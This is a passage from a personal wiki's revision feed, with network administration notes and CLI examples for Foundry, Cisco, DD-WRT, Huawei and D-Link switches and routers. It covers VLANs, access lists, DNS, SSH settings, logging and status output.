Ve 113          1.2.1.97   YES  NVRAM     up                     up      &lt;br /&gt;
Ve 200          1.2.3.4  YES  NVRAM     up                     up     &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== add VLAN ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=visualfoxpro &amp;gt;&lt;br /&gt;
vlan 123 name v-users by port&lt;br /&gt;
tagged ethe 2 to 4&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== VLAN detail ===&lt;br /&gt;
* show vlans&lt;br /&gt;
&amp;lt;syntaxhighlight lang=visualfoxpro &amp;gt;&lt;br /&gt;
Total PORT-VLAN entries: 19&lt;br /&gt;
Maximum PORT-VLAN entries: 4095&lt;br /&gt;
PORT-VLAN 1, Name DEFAULT-VLAN, Priority level0, Spanning tree Off&lt;br /&gt;
 Untagged Ports:   2   3   4  19  20 &lt;br /&gt;
   Tagged Ports: None&lt;br /&gt;
   Uplink Ports: None&lt;br /&gt;
 DualMode Ports: None&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== virtual ethernet configuration ===&lt;br /&gt;
* is the ip configuration of the vlan subnet&lt;br /&gt;
&amp;lt;syntaxhighlight lang=visualfoxpro &amp;gt;&lt;br /&gt;
&lt;br /&gt;
interface ve 300&lt;br /&gt;
 port-name v-secondary&lt;br /&gt;
 ip access-group 300 in&lt;br /&gt;
 ip address 1.2.1.1 255.255.255.240&lt;br /&gt;
!&lt;br /&gt;
interface ve 100&lt;br /&gt;
 port-name v-primary&lt;br /&gt;
 ip address 1.2.3.1 255.255.252.0&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== access list per IP ===&lt;br /&gt;
* access list used by virtual ethernet&lt;br /&gt;
&amp;lt;syntaxhighlight lang=visualfoxpro &amp;gt;&lt;br /&gt;
&lt;br /&gt;
access-list 10 permit 1.2.3.0 0.0.3.255&lt;br /&gt;
access-list 10 permit 1.2.1.0 0.0.0.255&lt;br /&gt;
access-list 10 deny any log&lt;br /&gt;
&lt;br /&gt;
access-list 300 deny ip any 1.2.3.0 0.0.3.255 log&lt;br /&gt;
access-list 300 deny ip any 1.2.1.0 0.0.0.255 log&lt;br /&gt;
access-list 300 permit ip any any&lt;br /&gt;
&lt;br /&gt;
access-list 103 permit ip any 1.2.5.0 0.0.0.255&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== set DNS === &lt;br /&gt;
* add 3 DNS servers:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=python &amp;gt;&lt;br /&gt;
ip dns server-address 1.2.3.4 10.11.12.13 101.102.103.104&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* del 1 DNS server:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=python &amp;gt;&lt;br /&gt;
no ip dns server-address 10.11.12.13&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== SSH management config ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=visualfoxpro &amp;gt;&lt;br /&gt;
 ip ssh  key-authentication no&lt;br /&gt;
 ip ssh  source-interface ve 200&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== add port to VLAN ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=visualfoxpro &amp;gt;&lt;br /&gt;
&lt;br /&gt;
* add tagged port:&lt;br /&gt;
 # vlan 4&lt;br /&gt;
 (vlan-4)# tag ethe 11&lt;br /&gt;
 # end&lt;br /&gt;
* add untagged port&lt;br /&gt;
 (vlan-4)# untag ethe 11&lt;br /&gt;
 # end&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== remove port from VLAN ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=visualfoxpro &amp;gt;&lt;br /&gt;
* remove un-tagged port:&lt;br /&gt;
 #vlan 4&lt;br /&gt;
 (vlan-4)# no untag ethe 11&lt;br /&gt;
 # end&lt;br /&gt;
* tagged port&lt;br /&gt;
 (vlan-4)# no tag ethe 11&lt;br /&gt;
 # end&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== change temperature warning level ===&lt;br /&gt;
&lt;br /&gt;
* temperature at when the device will give warning&lt;br /&gt;
 # temperature warning 47&lt;br /&gt;
* temperature at when the device will shut down&lt;br /&gt;
 # temperature shutdown 57&lt;br /&gt;
* change the polling time interval&lt;br /&gt;
 # chassis poll-time 200&lt;br /&gt;
&lt;br /&gt;
=== change logging size ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=visualfoxpro &amp;gt;&lt;br /&gt;
#config te&lt;br /&gt;
BR-SSH@coresw1(config)#logging buffered 300&lt;br /&gt;
Reload required.  Please write memory and then reload or power cycle.&lt;br /&gt;
BR-SSH@coresw1(config)#write memory&lt;br /&gt;
Write startup-config done.&lt;br /&gt;
BR-SSH@coresw1(config)#end&lt;br /&gt;
BR-SSH@coresw1#reload&lt;br /&gt;
Are you sure? (enter 'y' or 'n'): y&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;/div&gt;</summary>
		<author><name>Porcelinux</name></author>
	</entry>
	<entry>
		<id>https://wiki.alessandro.delgallo.net//index.php?title=Router-language&amp;diff=6404</id>
		<title>Router-language</title>
		<link rel="alternate" type="text/html" href="https://wiki.alessandro.delgallo.net//index.php?title=Router-language&amp;diff=6404"/>
		<updated>2022-06-23T08:08:31Z</updated>

		<summary type="html">&lt;p&gt;Porcelinux: /* DD-WRT */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Cisco ==&lt;br /&gt;
&lt;br /&gt;
* http://www.cisco.com/en/US/docs/internetworking/troubleshooting/guide/tr1904.html&lt;br /&gt;
&lt;br /&gt;
*; Save config&lt;br /&gt;
 # write memory&lt;br /&gt;
&lt;br /&gt;
=== VLAN ===&lt;br /&gt;
*; New VLAN&lt;br /&gt;
 Switch# configure terminal&lt;br /&gt;
 Switch(config)# vlan 20&lt;br /&gt;
 Switch(config-vlan)# name test20&lt;br /&gt;
 Switch(config-vlan)# end &lt;br /&gt;
&lt;br /&gt;
 Switch(config)# no vlan vlan-id&lt;br /&gt;
*: Port-VLAN&lt;br /&gt;
 Switch# configure terminal&lt;br /&gt;
 Switch(config)# interface gigabitethernet 1/0/1&lt;br /&gt;
 Switch(config-if)# switchport mode access&lt;br /&gt;
 Switch(config-if)# switchport access vlan 2&lt;br /&gt;
 Switch(config-if)# end &lt;br /&gt;
&lt;br /&gt;
*; IEEE 802.1Q trunking &lt;br /&gt;
 Switch# configure terminal&lt;br /&gt;
 Switch(config)# interface gigabitethernet 1/0/1&lt;br /&gt;
 Switch(config-if)# switchport mode dynamic desirable&lt;br /&gt;
 Switch(config-if)# end &lt;br /&gt;
&lt;br /&gt;
*; remove VLAN 2 from the allowed VLAN list on a port:&lt;br /&gt;
 Switch(config)# interface gigabitethernet 1/0/1&lt;br /&gt;
 Switch(config-if)# switchport trunk allowed vlan remove 2&lt;br /&gt;
 Switch(config-if)# end&lt;br /&gt;
&lt;br /&gt;
== DD-WRT ==&lt;br /&gt;
&lt;br /&gt;
* show all variables named/containing THISSSS&lt;br /&gt;
 nvram show|grep THISSSS&lt;br /&gt;
 nvram show|grep ports&lt;br /&gt;
&lt;br /&gt;
* unset all variables named/containing THISSSS&lt;br /&gt;
 for a in $(nvram show|grep THISSSS|grep -v size);do nvram unset $(echo $a|cut -d&amp;quot;=&amp;quot; -f1);done &lt;br /&gt;
&lt;br /&gt;
=== VLAN ===&lt;br /&gt;
&lt;br /&gt;
*attributes&lt;br /&gt;
These are suffixes for the final CPU port number.&lt;br /&gt;
*&amp;quot;t&amp;quot; &lt;br /&gt;
    tag with 802.1q vlan header (e.g. for trunking). Can be added to one or more ports in a vlan. &lt;br /&gt;
*&amp;quot;u&amp;quot; &lt;br /&gt;
    used on WAN vlan, to ensure WAN traffic is untagged. &lt;br /&gt;
*&amp;quot;*&amp;quot; &lt;br /&gt;
    used on default LAN VLAN, untagged incoming traffic goes here. &lt;br /&gt;
&lt;br /&gt;
 vlan4ports=0 5*&lt;br /&gt;
 vlan4_ipaddr=0.0.0.0&lt;br /&gt;
 vlan4hwname=et0&lt;br /&gt;
 port2vlans=4&lt;br /&gt;
&lt;br /&gt;
== Huawei ==&lt;br /&gt;
;(AR502CG-L)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
More details in [[Huawei AR500]]&lt;br /&gt;
*https://support.huawei.com/enterprise/en/doc/EDOC1000097293/10a4569b/cellular-interface-configuration-commands&lt;br /&gt;
*https://support.huawei.com/enterprise/en/doc/EDOC1000177810/29a820da/nat-configuration-commands&lt;br /&gt;
&lt;br /&gt;
* Access CLI&lt;br /&gt;
** from the web interface, create a telnet enabled user and enable telnet service.&lt;br /&gt;
&lt;br /&gt;
 telnet 192.168.x.x &lt;br /&gt;
 ...&lt;br /&gt;
 system-view&lt;br /&gt;
&lt;br /&gt;
=== Cellular WAN connection information ===&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;Huawei&amp;gt;display cellular 0/0/0 all&lt;br /&gt;
Modem State:&lt;br /&gt;
Hardware Information.&lt;br /&gt;
=====================&lt;br /&gt;
Model = ME909s-120&lt;br /&gt;
Modem Type = LTE module&lt;br /&gt;
...&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Display APN profiles&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;Huawei&amp;gt;display apn-profile configuration&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Display IP interface WAN&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
display interface cellular 0/0/0&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 display ip interface brief&lt;br /&gt;
&lt;br /&gt;
 display ip routing-table&lt;br /&gt;
&lt;br /&gt;
* reset counters&lt;br /&gt;
 reset counters interface cellular 0/0/0&lt;br /&gt;
&lt;br /&gt;
=== del vlan ===&lt;br /&gt;
 [RouterBackup]undo interface Vlanif 6  &lt;br /&gt;
 [RouterBackup]undo Vlan 6&lt;br /&gt;
&lt;br /&gt;
=== change Interface MTU ===&lt;br /&gt;
 &amp;lt;Huawei&amp;gt; system-view&lt;br /&gt;
 [Huawei] interface cellular 0/0/0 &lt;br /&gt;
 [Huawei-Cellular0/0/0] mtu 1200&lt;br /&gt;
 [Huawei-Cellular0/0/0] restart&lt;br /&gt;
&lt;br /&gt;
=== Save running config ===&lt;br /&gt;
 [Router] save&lt;br /&gt;
&lt;br /&gt;
=== SMS ===&lt;br /&gt;
&lt;br /&gt;
* List SMS&lt;br /&gt;
 display sms interface cellular 0/0/0 brief&lt;br /&gt;
&lt;br /&gt;
* SMS stats&lt;br /&gt;
 display sms interface cellular 0/0/0 statistics&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== NAT tutorial ===&lt;br /&gt;
https://support.huawei.com/enterprise/en/doc/EDOC1000177799/c5cb4df6/example-for-configuring-an-lte-cellular-interface-as-the-primary-interface-to-connect-to-the-internet&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== DLink ==&lt;br /&gt;
&lt;br /&gt;
xStack DGS-3200 Series Layer 2 Gigabit Managed Switch CLI Manual&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
VLAN Command List&lt;br /&gt;
create vlan &amp;lt;vlan_name 32 &amp;gt; tag &amp;lt;vlanid 2-4094&amp;gt; { type [1q_vlan advertisement | private_vlan] }&lt;br /&gt;
create vlan vlanid &amp;lt;vidlist&amp;gt; { type [1q_vlan | private_vlan] { advertisement } }&lt;br /&gt;
delete vlan &amp;lt;vlan_name&amp;gt;&lt;br /&gt;
delete vlan vlanid &amp;lt;vlanid_list&amp;gt;&lt;br /&gt;
config vlan &amp;lt; vlan_name &amp;gt; { [ add [ tagged | untagged | forbidden ] | delete ] &amp;lt;portlist&amp;gt; |&lt;br /&gt;
advertisement [ enable | disable ] }&lt;br /&gt;
config vlan vlanid &amp;lt;vidlist&amp;gt; { [ add [ tagged | untagged | forbidden ] | delete ] &amp;lt;portlist&amp;gt; |&lt;br /&gt;
advertisement [ enable | disable ]| name &amp;lt;vlan_name&amp;gt;}&lt;br /&gt;
config vlan &amp;lt;vlan_name&lt;br /&gt;
&amp;gt; delete &amp;lt;portlist&amp;gt;&lt;br /&gt;
config vlan vlanid &amp;lt;vlanid_&lt;br /&gt;
list&amp;gt; delete &amp;lt;portlist&amp;gt;&lt;br /&gt;
config gvrp [&amp;lt;portlist&amp;gt; | all] {state [enable | disable] | ingress_checking [enable | disable]&lt;br /&gt;
|acceptable_frame[tagged_only | admit_all] pvid&amp;lt;vlanid 1-4094&amp;gt; }&lt;br /&gt;
enable gvrp&lt;br /&gt;
disable gvrp&lt;br /&gt;
show vlan { &amp;lt;vlan_name 32&amp;gt; | vlanid&lt;br /&gt;
&amp;lt;vlanid_list&amp;gt; | ports &amp;lt;portlist&amp;gt;}&lt;br /&gt;
show gvrp {&amp;lt;portlist&amp;gt;}&lt;br /&gt;
enable pvid auto_assign&lt;br /&gt;
disable pvid auto_assign&lt;br /&gt;
show pvid auto_assign&lt;br /&gt;
config private_vlan [&amp;lt;vlan_name 32&amp;gt; | vid &amp;lt;vlanid 1-4094&amp;gt;] [add [isolated | community] | remove]&lt;br /&gt;
[&amp;lt;vlan_name 32&amp;gt; | vlanid &amp;lt;vidlist&amp;gt;]&lt;br /&gt;
show private_vlan { [vlan_name 32&amp;gt; | vlanid &amp;lt;vidlist&amp;gt;] } &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Foundry ==&lt;br /&gt;
&lt;br /&gt;
=== show ===&lt;br /&gt;
  802-1w                 Rapid Spanning tree IEEE 802.1w D10 status&lt;br /&gt;
  aaa                    Show TACACS+ and RADIUS server statistics&lt;br /&gt;
  access-list            Show access list hit statistics&lt;br /&gt;
  acl-on-arp             Show ARP ACL filtering&lt;br /&gt;
  arp                    Arp table&lt;br /&gt;
  auth-mac-addresses     MAC Authentication status&lt;br /&gt;
  batch                  Batch commands&lt;br /&gt;
  cable-diagnostics      Show Cable Diagnostics&lt;br /&gt;
  chassis                Power supply/fan/temperature&lt;br /&gt;
  clock                  System time and date&lt;br /&gt;
  configuration          Configuration data in startup config file&lt;br /&gt;
  debug                  Debug information&lt;br /&gt;
  default                System default settings&lt;br /&gt;
  dot1x                  dot1x  information&lt;br /&gt;
  errdisable             Errdisable status&lt;br /&gt;
  fdp                    CDP/FDP information&lt;br /&gt;
  flash                  Flash memory contents&lt;br /&gt;
  interfaces             Port status&lt;br /&gt;
  ip                     IP address setting&lt;br /&gt;
  ipv6                   IP setting&lt;br /&gt;
  link-aggregate         802.3ad Link Aggregation Information&lt;br /&gt;
  link-error-disable     Link Debouncing Control&lt;br /&gt;
  link-keepalive         Link Layer Keepalive&lt;br /&gt;
  logging                System log                               &lt;br /&gt;
  mac-address            MAC address table&lt;br /&gt;
  media                  Gig port SX/LX/LHA/LHB&lt;br /&gt;
  memory                 System memory usage&lt;br /&gt;
  metro-ring             metro ring protocol information&lt;br /&gt;
  mirror                 Mirror ports&lt;br /&gt;
  monitor                Monitor ports&lt;br /&gt;
  mstp                   show MSTP (IEEE 802.1s) information&lt;br /&gt;
  port                   Show port security&lt;br /&gt;
  priority-mapping       802.1Q tagged priority setting&lt;br /&gt;
  processes              Active process statistics&lt;br /&gt;
  protected-link-group   Show Protected Link Group Details&lt;br /&gt;
  ptrace                 Global ptrace information&lt;br /&gt;
  qos-profiles           QOS configuration&lt;br /&gt;
  qos-tos                IPv4 ToS based QoS&lt;br /&gt;
  radius                 show radius server debug info&lt;br /&gt;
  rate-limit             Rate-limiting table and actions&lt;br /&gt;
  redundancy             Display management redundancy details&lt;br /&gt;
  relative-utilization   Relative utilization list&lt;br /&gt;
  reload                 Scheduled system reset&lt;br /&gt;
  rmon                   Rmon status&lt;br /&gt;
  running-config         Current running-config&lt;br /&gt;
  sflow                  sflow information&lt;br /&gt;
  snmp                   SNMP statistics                          &lt;br /&gt;
  sntp                   Show SNTP&lt;br /&gt;
  span                   Spanning tree status&lt;br /&gt;
  statistics             Packet statistics&lt;br /&gt;
  stp-bpdu-guard         Show stp bpdu guard status&lt;br /&gt;
  stp-group              Spanning Tree Group Membership&lt;br /&gt;
  stp-protect-ports      Show stp-protect enabled ports and their BPDU drop&lt;br /&gt;
                         counters&lt;br /&gt;
  tech-support           System snap shot for tech support&lt;br /&gt;
  telnet                 Telnet connection&lt;br /&gt;
  topology-group         Topology Group Membership&lt;br /&gt;
  traffic-policy         Show traffic policy definition&lt;br /&gt;
  transmit-counter       Transmit Queue Counters&lt;br /&gt;
  trunk                  Show trunk status&lt;br /&gt;
  users                  User accounts&lt;br /&gt;
  version                System status&lt;br /&gt;
  vlan                   VLAN status&lt;br /&gt;
  vlan-group             VLAN Group Membership&lt;br /&gt;
  voice-vlan             Show voice vlan&lt;br /&gt;
  vsrp                   Show VSRP commands&lt;br /&gt;
  web-connection         Current web connections&lt;br /&gt;
  who                    User login&lt;br /&gt;
  |                      Output modifiers&lt;br /&gt;
  &amp;lt;cr&amp;gt;      &lt;br /&gt;
&lt;br /&gt;
=== enable ===&lt;br /&gt;
* when logged in, the &amp;quot;enable&amp;quot; command give you the administration rights&lt;br /&gt;
* in this status we can monitor e check configuration.&lt;br /&gt;
&amp;lt;syntaxhighlight lang=visualfoxpro &amp;gt;&lt;br /&gt;
$ enable&lt;br /&gt;
password...&lt;br /&gt;
# _&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* entering in &amp;quot;edit configuration&amp;quot; mode, you can edit the configuration, '''live!''' be very careful&lt;br /&gt;
&amp;lt;syntaxhighlight lang=visualfoxpro &amp;gt;&lt;br /&gt;
config [te]&lt;br /&gt;
password...&lt;br /&gt;
(config)#&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* after making changes, you can check them with this command (because &amp;quot;show config&amp;quot; will give you the configuration saved in memory, not the running one that you just modified.&lt;br /&gt;
&amp;lt;syntaxhighlight lang=visualfoxpro &amp;gt;&lt;br /&gt;
(config)# show running-config&lt;br /&gt;
[...]&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* after all your checks, this is the command to save the changes permanently.&lt;br /&gt;
&amp;lt;syntaxhighlight lang=visualfoxpro &amp;gt;&lt;br /&gt;
(config)# write memory&lt;br /&gt;
# &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* an option to backup the configuration is to copy it by TFTP to a server.&lt;br /&gt;
&amp;lt;syntaxhighlight lang=visualfoxpro &amp;gt;&lt;br /&gt;
#copy running-config tftp 1.2.3.123 router-config-20122112.txt&lt;br /&gt;
 #Upload running-config to TFTP server done.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== show cpu ===&lt;br /&gt;
show cpu&lt;br /&gt;
&amp;lt;syntaxhighlight lang=visualfoxpro &amp;gt;&lt;br /&gt;
31 percent busy, from 3248 sec ago 1	sec avg: &lt;br /&gt;
31 percent busy 5	sec avg: &lt;br /&gt;
31 percent busy 60 sec avg: &lt;br /&gt;
31 percent busy&lt;br /&gt;
&lt;br /&gt;
300 sec avg: 31 percent busy   &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* cpu/process utilizaiton&lt;br /&gt;
&amp;lt;syntaxhighlight lang=visualfoxpro &amp;gt;&lt;br /&gt;
# show process cpu&lt;br /&gt;
Process Name&lt;br /&gt;
ACL&lt;br /&gt;
ARP BGP DOT1X GVRP ICMP IP L2VLAN OSPF RIP STP VRRP&lt;br /&gt;
5Sec(%)	1Min(%)&lt;br /&gt;
0.00	0.00&lt;br /&gt;
0.01	0.01 0.00	0.00 0.00	0.00 0.00	0.00 0.00	0.00 0.00	0.00 0.01	0.00 0.00	0.00 0.00	0.00 0.00	0.00 0.00	0.00&lt;br /&gt;
5Min(%)	15Min(%)&lt;br /&gt;
Runtime(ms)&lt;br /&gt;
0.00	0.00	0&lt;br /&gt;
0.01	0.01	714 0.00	0.00	0 0.00	0.00	0 0.00	0.00	0 0.00	0.00	161 0.00	0.00	229 0.00	0.01	673 0.00	0.00	0 0.00	0.00	9 0.00	0.00	7 0.00	0.00	0&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== port status short ===&lt;br /&gt;
* show interface brief&lt;br /&gt;
&amp;lt;syntaxhighlight lang=visualfoxpro &amp;gt;&lt;br /&gt;
Port  Link    State     Dupl Speed Trunk Tag Priori MAC            Name        &lt;br /&gt;
1     Up      Forward   Full 1G    None  No  level0 0012.f286....              &lt;br /&gt;
2     Disable None      None None  None  No  level0 0012.f286....                &lt;br /&gt;
&lt;br /&gt;
Port  Link    State     Dupl Speed Trunk Tag Priori MAC            Name        &lt;br /&gt;
ve10  Up      N/A       N/A  N/A   None  N/A N/A    0012.f286....     &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
=== ip traffic ===&lt;br /&gt;
&amp;lt;syntaxhighlight lang=visualfoxpro &amp;gt;&lt;br /&gt;
#show ip traffic &lt;br /&gt;
IP Statistics&lt;br /&gt;
  249333533 received, 92410 sent, 248630753 forwarded&lt;br /&gt;
  0 filtered, 0 fragmented, 0 reassembled, 4480 bad header&lt;br /&gt;
  495 no route, 0 unknown proto, 0 no buffer, 43582 other errors&lt;br /&gt;
&lt;br /&gt;
ARP Statistics&lt;br /&gt;
  151530 total recv, 149155 req recv, 214351 req sent, 67830 rep sent&lt;br /&gt;
  0 pending drop, 0 invalid source, 0 invalid dest&lt;br /&gt;
&lt;br /&gt;
ICMP Statistics&lt;br /&gt;
Received:&lt;br /&gt;
  13364 total, 25 errors, 103 unreachable, 25 time exceed&lt;br /&gt;
  0 parameter, 0 source quench, 0 redirect, 13202 echo, &lt;br /&gt;
  9 echo reply, 0 timestamp, 0 timestamp reply, 0 addr mask&lt;br /&gt;
  0 addr mask reply, 0 irdp advertisement, 0 irdp solicitation&lt;br /&gt;
Sent:&lt;br /&gt;
  55536 total, 0 errors, 38105 unreachable, 4205 time exceed&lt;br /&gt;
  24 parameter, 0 source quench, 0 redirect, 0 echo, &lt;br /&gt;
  13202 echo reply, 0 timestamp, 0 timestamp reply, 0 addr mask&lt;br /&gt;
  0 addr mask reply, 0 irdp advertisement, 0 irdp solicitation&lt;br /&gt;
&lt;br /&gt;
UDP Statistics&lt;br /&gt;
  173951 received, 15129 sent, 119850 no port, 0 input errors&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== MAC address table ===&lt;br /&gt;
 show mac-address&lt;br /&gt;
&amp;lt;syntaxhighlight lang=visualfoxpro &amp;gt;&lt;br /&gt;
Total active entries from all ports = 69&lt;br /&gt;
MAC-Address     Port         Type       Index      VLAN &lt;br /&gt;
0800.270c.ce47  5            Dynamic    30         113  &lt;br /&gt;
0011.7800.9a44  8            Dynamic    14232      200  &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
=== ethernet data flow statistics ===&lt;br /&gt;
* show rmon statistics&lt;br /&gt;
&amp;lt;syntaxhighlight lang=visualfoxpro &amp;gt;&lt;br /&gt;
Ethernet statistics 1 is active, owned by monitor&lt;br /&gt;
 Interface 1 (ifIndex 1) counters&lt;br /&gt;
           Octets          62219423556&lt;br /&gt;
      Drop events                    0             Packets             74215428&lt;br /&gt;
   Broadcast pkts                  613      Multicast pkts                83808&lt;br /&gt;
 CRC align errors                    0      Undersize pkts                    0&lt;br /&gt;
    Oversize pkts                    0           Fragments                    0&lt;br /&gt;
          Jabbers                    0          Collisions                    0&lt;br /&gt;
&lt;br /&gt;
 Packet size counters&lt;br /&gt;
               64              8199939           65 to 127             21283872&lt;br /&gt;
       128 to 255              2667477          256 to 511              1406813&lt;br /&gt;
      512 to 1023              2001555        1024 to 1518             38655772&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== physical media installed in port ===&lt;br /&gt;
* show media&lt;br /&gt;
&amp;lt;syntaxhighlight lang=visualfoxpro &amp;gt;&lt;br /&gt;
1:M-SX 2:   3:   4:   5: C 6: C 7: C 8: C 9: C 10: C 11: C 12: C 13: C 14: C 15: C 16: C 17: C 18: C 19: C 20: C 21: C 22: C 23: C 24: C &lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* C1550 – CWDM transceiver with 1550 nm wavelength &lt;br /&gt;
* EFM-U – 1000Base-BX10-U fiber (uplink) transceiver &lt;br /&gt;
* EFM-D – 1000Base-BX10-D fiber (downlink) transceiver&lt;br /&gt;
* M-FX – 100BaseFX fiber mini-GBIC &lt;br /&gt;
* M-FXB1 or M-FXB2 – 100BaseFX fiber mini-GBIC  &lt;br /&gt;
* M-LX – 1000BaseLX fiber mini-GBIC &lt;br /&gt;
* M-SX – 1000BaseSX fiber mini-GBIC &lt;br /&gt;
* M-TX – 1000BaseTX copper mini-GBIC &lt;br /&gt;
* M-XR – 1000BaseSX 2 fiber mini-GBIC &lt;br /&gt;
* FXB1 or FXB2 – 1000BaseBX fiber mini-GBIC &lt;br /&gt;
* M-LHA 1000BaseLHA fiber mini-GBIC&lt;br /&gt;
&lt;br /&gt;
=== interface speed ===&lt;br /&gt;
&lt;br /&gt;
 Router(config)# interface e 8 &lt;br /&gt;
 Router(config-if-e1000-8)# speed-duplex 10-full&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== ethernet details ===&lt;br /&gt;
* show interface ethernet 1&lt;br /&gt;
&amp;lt;syntaxhighlight lang=visualfoxpro &amp;gt;&lt;br /&gt;
GigabitEthernet1 is up, line protocol is up &lt;br /&gt;
  Hardware is GigabitEthernet, address is 0012.f286.7e40 (bia 0012.f286.7e40)&lt;br /&gt;
  Configured speed auto, actual 1Gbit, configured duplex fdx, actual fdx&lt;br /&gt;
  Configured mdi mode AUTO, actual MDI&lt;br /&gt;
  Member of L2 VLAN ID 10, port is untagged, port state is FORWARDING&lt;br /&gt;
  BPDU guard is Disabled, ROOT protect is Disabled&lt;br /&gt;
  Link Error Dampening is Disabled&lt;br /&gt;
  STP configured to ON, priority is level0&lt;br /&gt;
  Flow Control is config enabled, oper enabled, negotiation disabled&lt;br /&gt;
  mirror disabled, monitor disabled&lt;br /&gt;
  Not member of any active trunks&lt;br /&gt;
  Not member of any configured trunks&lt;br /&gt;
  No port name&lt;br /&gt;
  IPG MII 96 bits-time, IPG GMII 96 bits-time&lt;br /&gt;
  IP MTU 1500 bytes, encapsulation ethernet&lt;br /&gt;
  300 second input rate: 262016 bits/sec, 119 packets/sec, 0.02% utilization&lt;br /&gt;
  300 second output rate: 1558744 bits/sec, 178 packets/sec, 0.15% utilization&lt;br /&gt;
  35819040 packets input, 31760156880 bytes, 0 no buffer&lt;br /&gt;
  Received 559 broadcasts, 83280 multicasts, 35735201 unicasts&lt;br /&gt;
  0 input errors, 0 CRC, 0 frame, 0 ignored&lt;br /&gt;
  0 runts, 0 giants&lt;br /&gt;
  38293277 packets output, 30371035971 bytes, 0 underruns&lt;br /&gt;
  Transmitted 53 broadcasts, 0 multicasts, 38293224 unicasts&lt;br /&gt;
  0 output errors, 0 collisions&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== ip routes ===&lt;br /&gt;
 show ip&lt;br /&gt;
&amp;lt;syntaxhighlight lang=visualfoxpro &amp;gt;&lt;br /&gt;
Global Settings&lt;br /&gt;
  ttl: 64, arp-age: 10, bootp-relay-max-hops: 4&lt;br /&gt;
  router-id : 0.0.0.0&lt;br /&gt;
  enabled : UDP-Broadcast-Forwarding  Source-Route  Load-Sharing  RARP  &lt;br /&gt;
  disabled: Route-Only  Directed-Broadcast-Forwarding  IRDP  Proxy-ARP  RIP  DVMRP  VRRP  VRRP-Extended  &lt;br /&gt;
Static Routes&lt;br /&gt;
  Index   IP Address        Subnet Mask       Next Hop Router   Metric Distance&lt;br /&gt;
  1       0.0.0.0           0.0.0.0           145.145.24.140    1      1 0&lt;br /&gt;
  2       192.168.251.0     255.255.255.0     192.168.252.1     1      1 0&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== ip interface networks === &lt;br /&gt;
&amp;lt;syntaxhighlight lang=visualfoxpro &amp;gt;&lt;br /&gt;
show ip interface&lt;br /&gt;
Interface       IP-Address      OK?  Method    Status                 Protocol&lt;br /&gt;
Ve 10           1.5.4.1  YES  NVRAM     up                     up      &lt;br /&gt;
